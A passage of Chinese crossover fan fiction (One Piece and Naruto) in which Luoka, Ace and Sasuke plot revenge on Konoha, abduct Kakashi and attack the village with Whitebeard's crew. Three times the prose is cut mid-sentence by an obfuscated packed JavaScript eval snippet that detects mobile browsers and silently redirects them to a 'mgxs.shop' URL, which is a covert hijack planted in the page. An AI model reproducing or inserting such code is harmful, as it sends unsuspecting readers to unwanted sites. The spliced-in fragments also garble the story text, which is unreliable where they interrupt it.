佐助闻言斜了她一眼,眼底似有怒意升起,但到底也没说什么。 白胡子哈哈一笑:“你们给我看病还要特意隐瞒,是怕我发现我的病已经连这头的医生都没法治了吗?” 他嘴里说着如此沉重的事,面上却还带着轻松慈爱的笑,好像得病的不是他自己似的。 马尔科不慌不忙地上前一步,挡在洛卡和佐助身前:“不,是我作为船医想在离开之前学习一二,才请洛卡带我们出门的。” 白胡子没有在意小辈的谎言:“其实在去马林梵多之前我就清楚自己大限将至,有种我这种年纪的人才有的面临死亡的平静,这种平静或许你们年轻人还无法理解。” 洛卡腹诽:什么平静不平静的,您只是运气不好所以必须得死在那个时候罢了。 说到这里他停了停,目光转到洛卡身上,“我不止一次以为我会死在马林梵多,没想到事情会出现转机。” 洛卡不太明白他为什么现在提起这个,歪了歪头笑道:“白胡子阁下,白团诸位也是我的转机呀。” “正是如此。”白胡子又伸手摩挲了一下洛卡的脑袋,“所以这两天我也在想,若是你在的话,局面或许就会不一样。譬如我这身病,原先我觉得也没什么去治的必要了,我们这批人一个接一个地老去,我所在的时代差不多要结束了——不过,如果你乐意的话,你大可以带我多来几趟,看看这里的医生会对我做出什么样的诊断吧!” 洛卡微惊,大约是没想到他面对死亡会如此平和、面对救治也能这样坦然——他接受救治并非是为了自己,大概率是为了不想失去他的船员们。 她想到了自己的婆婆,下意识地提醒道:“一直穿越时空也会很辛苦的哦。” “只是时不时被人带来见见世面,算不得辛苦。”白胡子微微低头,声音也低了下去,“我知道你的婆婆不喜欢我们在此久留,但如果你来这里是为了带我看病,那你回到此地就有了个光明正大的目的,行动时不必再躲在暗处,去瞧你婆婆的时候手脚尽管放开些,无需再纠结拧巴偷偷摸摸宛如做贼一般了!” * 接下来两天洛卡带着几人去游乐园和发电厂逛了逛,终于在第三天选了个天色灰蒙蒙的黄昏时分,同大家一起走进森林深处,召出那个魔法阵回到了原来的世界。 回到船上时已是深夜,值夜的船员远远看到熟悉的高大背影自不远处的沙滩走来,激动之下吼了一嗓子吵醒了全船的人,一行人如同英雄凯旋一般被迎回了船上。 洛卡几乎要被一片欢呼声震聋,捂着耳朵艰难地穿过人群躲进角落里,毫不意外地发现佐助也避开人群站在甲板上:“……不愧是你,从密密匝匝的人群里逃出来衣角都被蹭掉了神情和发型还是丝毫不乱。” 佐助下意识地低头一看,上衣下摆果然少了一角,大概是逃出人群之际不知何时被谁揪掉的。 “不就是一趟短期旅行吗?”洛卡伸手抹了一把额头上的热汗,“他们到底在高兴什么?” “第一次试验成功意味着他们也有了去异世界的机会。”佐助的神色不知为何有些凝重,“这次实验你没感到什么不适吧?” 洛卡撇了撇嘴:“就这么几个人能有什么不适?不过你确实该考虑一下人事安排问题,你也知道他们不会允许你单打独斗吧?” “……你上次说你要去对付宇智波带土。”佐助看了她一眼,“你真有把握?你的幻术发动不是需要前置条件吗?我们前往木叶是客场作战,对我们没有什么优势。” “他和卡卡西的眼睛联通了同一个亚空间,只要是空间系的术法我都有办法对付。”洛卡伸了个懒腰,“此外,我也不建议你去找宇智波鼬。现阶段来看你没有任何打赢他的手段,还可能因为激烈的情绪波动失去判断力。” 佐助倒没因为她这番话生气,而是不紧不慢地学了她的话术反驳回去:“那你究竟如何打算,该不会觉得你一个人就能对付宇智波带土和宇智波鼬吧?” “我倒不敢如此托大。”洛卡微笑着看了人群中正滔滔不绝地复述异世遭遇的艾斯一眼,“宇智波鼬那里还是让你哥去吧。” “不行。”佐助的声音忽然拔高两分,“我哥哥没有任何对付幻术的手段。你在想些什么?” “那可不见得。”洛卡伸了个懒腰,“你们宇智波一族幻术的发动条件前提是对视,那只要不对视就可以了——我们之中只有艾斯最适合去对付会瞳术的忍者,因为他的能力可以让周围正用瞳术的人瞬间失明的同时,还能做到从头到尾不和对方对视。” 佐助一愣:“从头到尾不和对方对视?”他仔细想了想,忽然明白过来,“你是说,让我哥哥在战斗时仅将双瞳元素化?” 哥哥对火焰的掌控已经精细到这种程度了吗? “为了让他进行这方面的训练,我特意掏空了身上的黄金买走了店里所有的香薰蜡烛把他迷晕在旅馆里,给他提供了一个专门用来训练的绝佳幻境——结果他倒好,在里头待了一天不到自己冲破那个只为他而设的幻境闯出来了。”现在洛卡想起那把碎金子还有些肉痛,“总之,只要看不到对方的眼睛,那瞳术就对他无效,他对付鼬便可速战速决了。打完了鼬说不定还能赶到你那里帮一帮你。” 原来如此。 鼬的瞳术无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091168|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法控制艾斯,艾斯的白炎却能瞬间烧毁鼬的眼睛。 以往艾斯的元素化未有持续时间较长、元素化部位如此具体的时候,这大约需要精神高度集中,消耗应当也比往常要大。至于效果如何,反正兄弟俩经常一起训练,佐助之后一试便知。 想到这里佐助竟松了口气,对洛卡的安排甚至有些感激;但感激归感激,他说出来的关切之词听上去还是十分欠揍:“还是让我哥去帮你吧。说来你的体能训练如何了,能坚持和宇智波带土打到最后吗?” 洛卡慌张地瞪他一眼:“小点声!千万别让你哥想起来这回事!”她鬼鬼祟祟地转头看了一眼,见艾斯还在和船员们分享异世奇遇,并未注意洛卡这头,洛卡这才放下心来,“说起来,下回实验就要增加人数了,你抓紧再出个名单给我,这回要至少二十人。” “一口气加到二十人?”佐助皱眉,“不会太消耗你的魔力吗?” 洛卡耸肩:“不会。不如说你上次给的人数也实在太少了——之前也就算了,你该不会到现在还在瞧不起我吧?” “……不敢。”佐助想了想,“那不如,这次你就带小奥兹去试一趟吧?” * 下一次实验定在一周后。 近来艾斯和佐助的训练愈发频繁,无法时时盯着洛卡,因此近期洛卡多了许多浑水摸鱼偷闲懒觉的好机会。然而为了不让洛卡轻易懈怠,艾斯终于还是不顾洛卡的反对把她从炼药房里捉出来拎去了训练场。 午觉刚醒的洛卡挣扎无果,扫帚也被艾斯牢牢抓在手里,想要用前段时间魔力消耗太过导致身体不适之类的理由蒙混过去艾斯也没信,怕极了筋肉痛的洛卡被扛在肩上着了会急,为了转移艾斯的注意力趴到他肩膀上提醒了一句:“之前商量的那件事我已经对佐助说过了,他没起疑。” 艾斯的步子果然一顿:“那就好。” “我们之前说好了,为了佐助得留着鼬的眼睛。但是在不伤害鼬的双眼的前提下,你有把握短时间内打赢他吗?” 洛卡还是有些忧心,“最好还是把鼬的眼睛完好无损地拿回来,再跟他打听一下融合他人写轮眼的办法。佐助的万花筒开得比原时间线要早,我怕他的眼睛撑不了多久了。” “我明白。”艾斯的神色有些凝重,“谢谢你告诉我。” “你可不能跟佐助说是我把他卖了。”洛卡特意叮嘱道,“只是,就算你愿意替我保密,到时候你和鼬对战时间长了,恐怕还是要被他看出端倪……” “所以才需要训练嘛。”艾斯看穿了她用佐助的事转移他的注意力实际上想伺机逃走的真实目的,反将她抓得更紧,提速往训练场赶去,“你倒不用担心出卖佐助会被佐助怎么样,因为佐助也把你对宇智波带土很感兴趣、主动要与他对战的事情告诉了我。他还叮嘱我不要忘记你的体能训练。” “……怎么他都快进入这种家仇得报的关键时候了还没忘记暗算我!”洛卡气得直拍大腿,由于太过用力所以拍了没几下龇牙咧嘴地住了手,“艾斯,佐助有什么特别讨厌的食物吗?” “啊?他一直都挺讨厌纳豆,怎么突然问这个?” “挑食可不是好孩子。”洛卡正色道,“今天中午就由他最讨厌的我亲自下厨做一碗他最讨厌的纳豆、再由他最敬爱的你亲自给他端过去,要海碗那么大的、臭得要死的那种。” 39.039 039 洛卡与艾斯的密谈,其实就进行在艾斯被洛卡的婆婆下了言灵术的当天夜晚。 对艾斯所历的言灵术一无所知的洛卡倒确实是找他有正事。先前佐助将她带出去搞那劳什子自行车训练的时候,她同佐助提过一嘴能不能派她去对付宇智波带土的事,因为她实在很想与神威一较高下之余,也想转移佐助的注意力让他将那累人的训练抛到脑后去。 但是这个建议不仅没能转移佐助的注意力还惨遭驳回,最终她绕着沙滩来来回回骑了三个钟头才消停。 那惨痛的三小时没能磨灭她对付带土的决心,因此她今天就是来找艾斯商议对策的。首先他们要厘清佐助的仇人里头战力较高、仇恨值也较高的几位,分别是将九尾引入木叶村的宇智波带土、协助团藏灭族宇智波的宇智波鼬、主导了灭族宇智波惨案的志村团藏。 洛卡是这么想的:先对艾斯说让佐助带着原作情报去对付志村团藏、再对佐助说让艾斯带着永昼白炎去对付宇智波鼬,那这二人在对付敌人时可以说都带着必胜的光环,佐助不会反对后者,艾斯则不会反对前者;如此一来剩下的那个宇智波带土不就是她的囊中物了吗? 且艾斯那里还有一个一定不会拒绝她的理由:佐助需要至亲的眼睛,否则迟早会因瞳术失明。 果然艾斯听闻此事惊得瞳孔一缩:“我怎么没听佐助提过这事?” “他跟着你去杀蒂奇、跟着白胡子阁下去马林梵多救你的时候都用过瞳术还不止一次,当然不敢告诉你。”洛卡叹了口气,“所以,木叶这一趟就算不是为了复仇,为他的眼睛也是非去不可的。而且换了他自己说不定会在仇恨的驱使下不屑要鼬的眼睛,所以还得你去对付鼬——这就意味着你对付他的时候不能用你的白炎,对你来说可能会拖成苦战。” 艾斯倒不怕这个:“这么说来,我得抢在佐助的前头去见他的这位亲生哥哥、且在他那头的战斗结束之前拿到鼬的眼睛?” 洛卡点头:“好像是有点严苛了。佐助掌握了志村团藏的情报,说不定会很快结束战斗,所以我又想出了一个办法。” “什么办法?” “我和佐助会设法引出宇智波带土,届时我去对付他。” 艾斯下意识地反对:“那太危险了,我同你一起……” “你又不会分身术。”洛卡笑着打断他,“我的办法就是,佐助那头如果很快打完,那就让他去救我,这样就能为你争取时间了——我在马林梵多用过的‘众星执灯’,你还记得吗?” 艾斯有些感慨:“那怎么能忘。” “据说那是我族傀儡术修至臻境才能掌握的秘术——当然不是我那借用前人的魔力还需言灵辅助搞到最后还躺了好几天才醒过来的超级低配版,若是族中的傀儡师真的掌握了此术,可全凭自身魔力在对自身几乎没有任何反噬的作用下操纵人类自相残杀,完全具备挑起大规模战争的能力。可惜我研究多年最终还是发挥得那么糟糕。” 那些被洛卡杀死的傀儡的面目艾斯一直清楚地记到如今,他听了这话还有些难以置信:“那竟然能叫发挥得糟糕?你是太小看你自己了吧洛卡?” 洛卡苦笑:“若不是借用了前人的魔力,我连当时那样的水平都发挥不出来。不知为何,我明明无需刺穿心脏也能掌握大多数族中术法,却一直无法参透我主修的言灵术的本质。” 言灵术的本质? 艾斯惊讶道:“你是说言灵术也有一个修至臻境才能参透的秘术?那难道不是你提过的永生之术?” “那只是永生之术的第一层,也就是在人间永生。”洛卡焦虑地皱起眉,“这类永生者背负的是传教的功能,也就是令普通人也对永生心生向往,从而相信、侍奉我族的神。你也看到了,这种永生过于依赖我族的术式,只要打碎水晶球中断魔力输送便轻易破碎了。傀儡师的执灯之术与此不同,灯光吞噬了虚假的星光之后便能成为神的分身,获得比巫师还高的地位与权力,不会再有什么外力能干涉分身的永生。” 艾斯有些心惊:“那不就是等于……” “差不多就是成神了。”洛卡的眼底闪过一丝不自然,“下一步便是获得信徒、发展宗教,因此力量还会更加强大。但我毕竟不是傀儡师,马林梵多那一次成功机会非常渺茫。理论上来说,言灵术中的祝福也有这样的功能。” 艾斯只觉毛骨悚然:“那……你要这能力做什么?你要亲手造一个神出来吗?” “这是我们家族的第一目标。”洛卡神色肃然,“虽然历经这么多代也没人成功过。据说,只要使新神降临,再以言灵或傀儡术控制新神,令新神颁布新的神谕,我们便可从前一任神明的神谕中摆脱出来。” 在马林梵多时她在明知自己并不擅长傀儡术的情况下还是尽了最大的努力,虽然最后还是失败了,但好歹是逃了出来。 原来人类竟能连神都能控制。 艾斯突然想起婆婆对他说过的话:“所以,你作为家主要将自己的灵魂同魔力一道封进水晶球,也是为了……造神?” “是的,为了保密,此事没有留下任何记载,前人便需要以这样的方式将造神的秘密告诉后人。虽然它实际上已经遥不可及了,但为了后人也能摆脱神谕的控制,总得尽力一试。我自己迟迟无法突破瓶颈,所谓的祝福又太过凶险,总不能拿你们做实验,所以我才想找个反派角色练练手,那个宇智波带土实在很合适——艾斯你怎么了?” 艾斯的额头上冒出一层细汗,脑后和心口同时传来一阵尖锐的刺痛。可刚才的谈话中他并未提及洛卡的真名,只是听到了一族的秘辛而已,竟也会痛成这样吗? 那头洛卡终于察觉到事情有哪里不对:“艾斯,你身上居然有魔力的痕迹?白天我竟没看出来……你这模样,该不会是中了我婆婆的言灵术?” 他根本无法开口解释。半晌,艾斯抬手按在自己的心口处,似乎这样就能减缓疼痛似的。他抬起头来,艰难地试图叫出那个名字:“薇、薇洛……” 话音未落,他看到洛卡的指间逸出一丝浅紫色的魔力,迅速钻进他的眼睛里——周身的痛苦随着意识一道失去了,艾斯陷入了一片混沌的黑暗之中。 * 那个幻境的确是洛卡特意为他准备的,他进去之后便像第一次一般没过多久就忘了现实中的事,因为他发现自己似乎失明了——在黑暗中摸索了半天,他总觉得自己在找着什么。他坐在原地想了很久,终于想起来自己是在找洛卡。 他又找了洛卡很久,视力逐渐恢复,慢慢便从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100489|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幻境里清醒过来。 醒过来之后,他总觉得自己似乎忘了什么特别重要的事,心头总萦绕着似有若无的怅然若失之感。 但洛卡的计划已经敲定,连佐助对此都无异议,他到底在不安什么? 他们回到这里之后,洛卡又进行了几次穿越实验,也都没出什么问题,运送巨人也十分顺利——甚至最近的体能训练起了效果,昨晚洛卡还多吃了一碗沙拉。 一切都在有条不紊地往前走,他到底忘了什么呢? 他略一失神,黑色的火炎便瞬间裹住了他,对面的佐助惊吓之余下意识地喊了他一声:“哥哥!” 哗啦一声,天照的黑炎忽然膨胀了一倍,艾斯的声音从火炎中清晰地传出:“据说这种火焰不把目标烧尽是停不下来的。”这话一出口,黑炎却自他身前倏然消散,只余他手指上还剩烛光似的一小朵,“味道还不错。” 佐助微愣:“哥……你把它吃了?” “天照也烧不了我这个同类,不吞了还能怎么办。”艾斯大笑,“你这火炎确实有意思,同你的火遁之术似乎还有所不同,是要留着对付那个什么团藏?” 他其实是在委婉提醒佐助不要在训练中消耗太过免得伤眼。但佐助还沉浸在天照之炎反被吞噬的震惊之中,周身泛着紫气的须佐能乎渐次回收、消失。本次训练也随着须佐能乎的退场而结束了。 须佐能乎是他在幻境中掌握的技能,如今还用得不是太熟练。 佐助说话时丝毫没注意到自己的眼角缓缓流下一行血泪:“哥哥,果然天照是伤不到你的!” 他还得在其他技能上继续努力。 他眼中的斗志叫艾斯不由得想起了小时候的佐助:“你的眼睛受伤了,先让马尔科看看吧?” “没事的,哥哥。” 佐助知道马尔科不一定看得出万花筒的端倪,但日前马尔科去了洛卡的原生世界一趟之后带回来不少报告期刊没日没夜地研究,佐助也真怕在他跟前露出什么破绽,“这只不过是术式的副作用,和医理无关。” 艾斯还想再说什么,佐助赶紧打断,“哥哥,我对天照的运用还不熟悉,想用洛卡调制的魔药再行练习,我先走了。” “等等,佐助。”艾斯想了想,还是叫住了他,“我还是觉得不妥。毕竟我才刚对洛卡说过不必再撒谎了,自己却没能做到——佐助,你能答应我两件事吗?” “什么事?” “第一件,把宇智波鼬交给我来对付;第二件,如果你那边的战斗能提早结束,可以请你优先去救洛卡吗?” “……”佐助再开口时声音有些艰涩,“哥哥,原来你都知道了吗?” “洛卡也说过。”艾斯温和地对他笑了笑,“届时战斗时间一长就会被你看出端倪,与其在关键时刻对你产生干扰,还不如现在就告诉你。” 佐助正想开口,艾斯又补充了一句,“你瞒着我也是不想让我涉险,不必为这样的事道歉——太阳快要落山了,你还是快去找洛卡吧。” 用幻境练习,总比在训练中一次次消耗眼睛要好多了。 眼见佐助向洛卡的炼药房走去,艾斯心头那股诡异的不安感再次升起。 先前他到底忘了什么?或者说,是洛卡到底让他忘了什么? 40.040 040 艾斯来不及仔细思考这个问题,因为洛卡带佐助回木叶的日子很快就到了。 为了将复仇行动落到实处,他们选了一个包括三代火影猿飞日斩在内的大部分木叶高层都还活着的时间点——约在宇智波灭族惨案的五年后,原本该是佐助成为下忍、约十二三岁的时候。 出发之前艾斯怕他们俩一道行动会起矛盾,不止一次提出要一起去,也不止一次被洛卡拒绝了:“你还能跟着我俩一辈子吗?我跟佐助总得学会协同作战、佐助他总得学会离开哥哥也能独立生活吧。” 令艾斯感到惊讶的是佐助虽然不满地睨了洛卡一眼但对此竟也表示同意,于是他俩就这么在毫无准备的前提下开始了洛卡上船近三个月以来第一次共同作战,在艾斯担忧的目光下齐齐消失在了黑紫色的术式强光里。 * 旗木卡卡西走在路上,觉得周身似乎有些不对劲。 眼前的街景和往常并无不同,只不过周身气流的走向似乎有些不对——这明明是一个无风的夜晚,周围的气流却不知何时起了些微弱的涌动。 他下意识地停下脚步,道路两旁的路灯忽然全灭,突如其来的黑暗对忍者来说倒不算什么,只是此时气流的涌动忽然加速,方向也从凌乱无序忽然统一,自上而下从毫无亮光的夜空之中朝着正站在地面上的他俯冲而来。 卡卡西视力不错,很快看清正朝他面门刺来的是一支足有小臂粗的紫色箭矢,箭矢上似乎还裹着黑色的火炎。他下意识地闪避,却发现另一个方向也有一支同样的箭矢正朝他飞来。 一前一后,正好阻绝了他向左闪避的空间。其中一支还是被他避过,箭矢上的黑炎沿着卡卡西身后的房屋和地面迅速蔓延开来,精准地将他围在了火炎之中。 奇怪的是那黑炎并未烧到他身上,对方似乎并不想取他的性命。 第二支箭矢被他用神威硬生生传送到了异空间——传送成功的那一瞬他忽然感觉到一阵难以言喻的违和感。 是箭矢上的黑炎,在被传送之前便从箭矢上分散开去四散窜起,火苗舔舐着周围的房屋,似乎要将一切烧尽。 同时他听到一道陌生的、清越的男声在街道尽头响起:“接下来,你该如何对付第三支、第四支呢?” 黑炎之外,街道尽头站着一个身穿黑袍、背着长刀的忍者。他头上没有护额,被一具足有成人高的骨架包围着,骨架大约是人体胸肺到脊椎的位置,密密匝匝的查克拉纠缠其上,此时短时间内消耗了大量查克拉的卡卡西实在看不清那他的脸。 更糟的是,那骨架上的双臂确实已经拉弓上弦,准备向他射出第三支箭。 他被黑炎团团包围,将精力放在箭矢之上只会没完没了。还不如用神威直接将那奇异的骨架送进异空间里——然而还没等他发动万花筒的能力,侧后方忽然传来一道清脆的女声:“你对付他至于用上须佐能乎吗?” 卡卡西惊异地用余光去看——是一个身穿黑色套裙、骑着扫帚飞在半空中的白发少女。 这样的打扮,很像卡卡西在漫画里看到过的飞天小魔女。 这时他忽然意识到刚才的违和感源自哪里了:周围的黑炎其实并不全是黑炎。至少第二支箭矢上包裹的“黑炎”其实只是一种伪装成黑炎的别的什么东西,因为那东西也被对面忍者的查克拉包裹着因此混入黑炎之中时他没能第一时间发现。这少女就是隐身于那“黑炎”之中,在他和那不知名的忍者对峙时突然出现在了他的身后。 陌生忍者嗤笑一声,是在回答那少女的问题:“为了抓到他昨晚在这里布阵布到半夜的不是你吗?” 卡卡西心中一悚:什么意思?早在昨晚他就被盯上了吗? 神威已然发动,那忍者周身的骨架逐渐开始扭曲——要移动这样一副骨架的同时提防那少女实在有些费力,卡卡西正辨认周身的真假黑炎、试图逃往假黑炎中时忽然被人轻拍了一下肩膀:“连我都认不全这天照的真假,我劝你还是别去了。” 天照? 卡卡西心中大震,同时却惊觉脚下一滞,那少女劝他别去,他竟真的就这么停住了。僵在原地至少两秒,又听那少女咯咯笑道:“卡卡西先生,我们来玩个游戏吧!” 她伸出食指在卡卡西护额上轻轻一点,“木头人,不许动。” * 洛卡和佐助到木叶一带一共待了五天,为了训练他们那个临时想出的、用天照和伪装天照的魔力形成的组合技足足用掉了两天,前面两次实验都以洛卡的魔力被佐助的天照烧光而惨败,气得洛卡对着佐助哇哇大叫;佐助罕见地没有反驳洛卡,在烧毁好几片林子之后他终于找到了天照和魔力之间的平衡,在真假黑炎之间留下了半指的缝隙,让这个能让洛卡藏身其中的、原本只存在于二人脑袋中的构想得以现世。 尽管实验次数不多,他还是有些用眼过度。洛卡用魔力照看了他的眼睛一晚上,第三天清晨顶着因彻夜未眠而疼痛欲裂的脑袋跟着佐助抄小道朝木叶村走去:“我说,我可不会什么治愈之术,说白了也只能对你的眼睛施加祝福。这不是治根之法,你必须尽快换眼。” 佐助伸手探了探自己的眼睛。他现在视物尤为清晰,连续用眼的疲惫感也因洛卡的祝福一扫而光。过去两天洛卡的陪练甚至让他掌控了天照的规模、形状和速度,且为了不惊动木叶的人,他还想到了将山里燃烧不止的黑炎尽数熄灭的招式——根据在洛卡的幻境中看到的信息,这一招叫加具土命。 能将如此危险、某种程度来说也很接近哥哥果实能力的天照掌握到这样的地步,也算差强人意。 还好哥哥没有跟来,如果哥哥在这里一定不会允许他如此频繁用眼。洛卡虽然没有哥哥那样强硬,但光是应付她那总是正话反说的关心也够烦人了。 思及此处,佐助忽然转头问洛卡道:“昨晚你对我施加的祝福大约能持续多长时间?” 洛卡打了个哈欠:“大概三年吧。人眼太过脆弱,施术花了我几乎一晚上的时间。” 三年? 这费心程度让佐助多少有些意外:“多谢。” “……”洛卡被他话里真诚的谢意吓得抖了几抖,伸手搓了搓手臂上的鸡皮疙瘩,“你还是先别谢我了,我听着害怕。还有,祝福这玩意说白了就是饮鸩止渴,你要是产生了依赖性我可管不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104075|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了你啊!” “知道了,多谢。” “……你故意的吗?” 眼下这个时候,此世的主角因长期训练不在村内,由于原作视角基本都是跟着主角走的,因此现在村内理论上正处在“刻画空白”的状态,要找到这个时期的卡卡西并非难事。 二人在卡卡西的必经之路上蹲守了一天,期间洛卡为了确保卡卡西能彻底被她和佐助的招式蒙骗,还在那条路上埋下魔法阵加强了环境暗示,终于在第四天一击得手,捕获了下班路上的卡卡西。 事前他们曾讨论过,若是在抓卡卡西的途中不慎遭遇宇智波带土,那就想办法先带着带土回到那边世界的山洞,由蹲守在山洞内的艾斯毁掉带土的眼睛——好在他们此次运气不错,带土应该不在附近。 抓住卡卡西后二人倒也没急着回去,而是一路拖着卡卡西高调地行至村头影岩附近,佐助抽出身后长刀毁去好几座影岩,等下方愤怒的人员聚集起来后他才冷笑一声,将被抓的卡卡西推到身前。 试图攻击的忍者眼看他竟手握人质,果然没了动作。 卡卡西被言灵术所缚,此刻不能出声也无法动弹,只能眼睁睁地看着这个他实在认不出是谁、却明显是来自宇智波一族的年轻人毁去影岩后一屁股坐在了初代的影岩之上,傲慢地看着下方众人:“各位,可还记得数年前被灭全族的宇智波一族?” 三代火影猿飞日斩费力地拨开人群挤到众人跟前:“你是何人?究竟想干什么?” “我是何人?”佐助笑了一声,“一个排不上号的宇智波后人罢了。”他向来不喜欢废话,“七天后我会再来一次。也就是说,我会给你们七天时间,让你们疏散村中不上前线的普通人、带走所有能带走的财产和私物——当然,你们也可以用这七天时间逃出木叶,只要距离够远、逃得够快,我大概也找不到你们。” 他身边的那女孩听他如此挑衅,竟像是被逗乐了似的噗嗤一笑。 木叶的人受不得这样的嘲笑,猿飞日斩身后渐有骂声,而猿飞日斩对此恍若未闻:“你说你是宇智波的族人?当初究竟是怎么活下来的……你行事如此高调,是为你的族人来复仇的?被你抓去的那位忍者和宇智波灭族一案毫无关系,请你放了他,我来当你的人质!” 佐助冷淡地扫了卡卡西一眼:“七日之后,自会归还。” 洛卡看了底下的人群一遍又一遍,未能从中找出任何宇智波带土的踪迹。不过她并未因此丧气,而是转头对佐助说:“这是领导人的通病吗?他说的话和战国也差不太多哎。” 海军的话题让佐助眉间的厌恶更深一层:“不必再费口舌。旗木卡卡西与宇智波旧事确无干系,我们不会伤害他、也不会伤害村内的普通人。请诸位放心,我的行事作风与诸位不同,七日后旗木卡卡西必定毫发无损。也请诸君听我一言:我知道村里有不少孩子也正接受忍者训练,请不要将未成年的忍者也卷入到这种争端中来。” 说完他一把抓住卡卡西的后衣领,身侧那女巫扬起了手中的魔杖,三人头顶随即出现了一个黑紫色的奇异大阵,稍顷,那三人就这样在众目睽睽之下消失在了众人跟前。 41.041 041 洛卡和佐助初次作战圆满结束叫忧心许久的艾斯总算松了口气,三人提着卡卡西回到船上时已近黄昏。 洛卡调整了时间,木叶那里的五天约等于这里的三天。也就是说再过五天他们就得再次出发。 艾斯从他俩手里接过卡卡西,转身往洛卡的炼药房走去。走着走着他突然停了下来:“洛卡,你的魔力还撑得住吗?” 洛卡有些意外:“怎么突然问这个?”她伸出右手朝艾斯竖起大拇指,“当然没问题啦!” 魔力? 被束缚了行动的卡卡西默默听着,心中的不安愈发强烈了:一开始他还安慰自己那个少女召唤出来导致他三人进行了一个大位移的大阵也许是通灵术的一种,那他说不定还有办法对付;现在看来他是被带到了一个完全陌生的地方,这地方甚至还出现了魔力这种他只在漫画里看到过的东西,一切都仿佛一场突如其来的噩梦。 “那怎么处理他?”艾斯还是问到了卡卡西身上,“你们之前好像提过,他除了能当个诱饵之外就没有其他用途了。” “洛卡说他还能派些别的用场。”佐助回答道,“这一阵子他得在船上待着,先关起来吧。” “正是正是。好不容易抓了个俘虏来当然要物尽其用。”洛卡双眼晶亮,“快把他撞进玻璃罐里去,我要用他熬出一锅新魔药来!” * 五天很快过去。 洛卡和佐助先前去木叶的那一趟洛卡是做了些准备的,首先是洛卡用魔力在木叶附近的一处河道口做了标记,佐助再用千云渡破坏了河堤和河岸,河水倒灌至附近的山谷,冲毁不少低矮灌木,形成了一片较大的湖泊。 洛卡将曾在湖中注入的魔力作为地标,带着一整个船队从上空降临到湖面之上,船队下落使得湖面掀起巨浪,船停稳时站在甲板上操纵魔法阵的洛卡已经淋了一身湖水。 她伸手抹了把脸上的水,手脚麻利地将阵收回,由于借了族人的魔力,本次大规模传送没让她有任何不适。 来之前她表示直接传送那么多人反而麻烦,不如将人员集中在船上,直接传送船只反而省事些——最终在她的安排下十四个小队挤在三条船上被送了过来,传送停止后船上无人受伤、无人落水。 艾斯心中对她的能力惊叹了一回,见她状态良好也着实松了口气。按计划,他马上就要跟佐助下船,而洛卡会带着旗木卡卡西同老爹一道守在船上,等待旗木卡卡西那位旧日故人的到来。 眼下还是正午,木叶的入口近在眼前,村内一片死寂,没有炊烟更没有人声,静得像是早已没了任何活人。 白胡子站起来,走到所有人的跟前,站在船头发动了他的能力。 稍顷,村落木制的建筑随着地震渐次崩塌,地面豁开数道深不见底的豁口,木叶村内发出不间断的崩溃的巨响,其中还混杂着年轻忍者的惨叫和怒骂。 此次地震持续了大约半个小时,结束后村落已成废墟。木叶的人事先准备好的陷阱被这场地震摧毁大半,藏身断墙之后的猿飞日斩不禁为此次恶战捏了把汗。 “去吧,孩子们!”白胡子振臂一呼,“纠缠了佐助十年之久的阴影,到今天也该有个了结了!” 佐助心中一震,迈出的步子有一瞬的停滞。但随即他便更快地向外走了几步,跟随大家一起跳下了甲板。 湖边水浅,众人蹚水向岸边走去。其中奥兹抱着一大堆同伴跳下了水,溅起的水花惹来许多人的抱怨,船员们吵吵嚷嚷地上了岸。 一眨眼船上便只剩下了寥寥几人。 洛卡站在船上朝他们的背影挥了挥手,走回白胡子身边,从储物球里拿出一个展开后足有半个她那么高的国际象棋棋盘:“白胡子阁下,闲着也是闲着,我们先下盘棋吧。” 装着卡卡西的玻璃罐也被搁在甲板上,他本人正陷入深度昏迷,没有什么异状。 “你这小丫头也真有意思。”白胡子抬手执棋时哈哈一笑,“平常不爱和艾斯他们出海去玩,倒喜欢跟我这个老头子待在一起。” “我才不愿意听他们聒噪。”洛卡挥动魔杖移动了一颗比她脑袋还大的棋子,“而且和年长稳妥的人多待在一起才能学到东西。” 其实和白胡子待在一起确实让她感到安心。白胡子阁下近期病情好转,已经不用时时刻刻都挂着点滴。他和艾斯是被选定的旧时代的标志,似乎只要他还安好,艾斯也就不会出事。 白胡子自然不知她内心所想,最近洛卡的棋艺精进不少,下起棋来他总感到吃力。而洛卡似乎又很喜欢下棋,即使察觉他力有不逮也不会让着他。被洛卡全力以赴地追着杀了好几盘之后,白胡子额上已经冒出细汗。 国际象棋这个小玩意,本是白胡子看她在船上无聊主动提出要陪她玩的,结果这才玩了几天竟然就要被她超越了。 村内接连传来难以忽视的巨响,连湖泊也起了变化,原本平静的湖面受到不远处地面震动的影响,泛起丝丝涟漪。 